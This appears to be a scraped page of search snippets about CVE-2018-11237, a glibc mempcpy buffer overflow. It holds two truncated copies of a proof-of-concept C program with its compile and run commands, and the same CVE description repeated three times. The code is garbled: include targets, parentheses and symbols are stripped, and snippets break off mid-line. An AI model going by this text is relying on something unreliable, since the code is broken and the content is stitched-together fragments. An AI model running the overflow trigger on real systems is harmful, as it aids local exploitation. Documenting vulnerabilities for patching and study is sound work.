GNU glibc < 2.27 - Local Buffer Overflow

GNU glibc Vendor Homepage: http://www.gnu.org/ CVE: CVE-2018-11237 POC: $ cat mempcpy.c define GNUSOURCE 1 include include define N 97699 char aN; char bN+128; int main void memset a, 'x', N; char c = mempcpy b, a, N; assert c == 0; $ gcc -g mempcpy.c -o mempcpy -fno-builtin-mempcpy $ ./mempcpy...

glibc 2.27 #GNU - Local Buffer Overflow Exploit

Exploit for linux platform in category local exploits Exploit Title: GNU glibc Vendor Homepage: http://www.gnu.org/ CVE: CVE-2018-11237 POC: $ cat mempcpy.c define GNUSOURCE 1 include include define N 97699 char aN; char bN+128; int main void memset a, 'x', N; char c = mempcpy b, a, N; assert c =...

CVE-2018-11237

An AVX-512-optimized implementation of the mempcpy function in the GNU C Library aka glibc or libc6 2.27 and earlier may write data beyond the target buffer, leading to a buffer overflow in mempcpyavx512novzeroupper...

CVE-2018-11237

An AVX-512-optimized implementation of the mempcpy function in the GNU C Library aka glibc or libc6 2.27 and earlier may write data beyond the target buffer, leading to a buffer overflow in mempcpyavx512novzeroupper...

CVE-2018-11237

An AVX-512-optimized implementation of the mempcpy function in the GNU C Library aka glibc or libc6 2.27 and earlier may write data beyond the target buffer, leading to a buffer overflow in mempcpyavx512novzeroupper...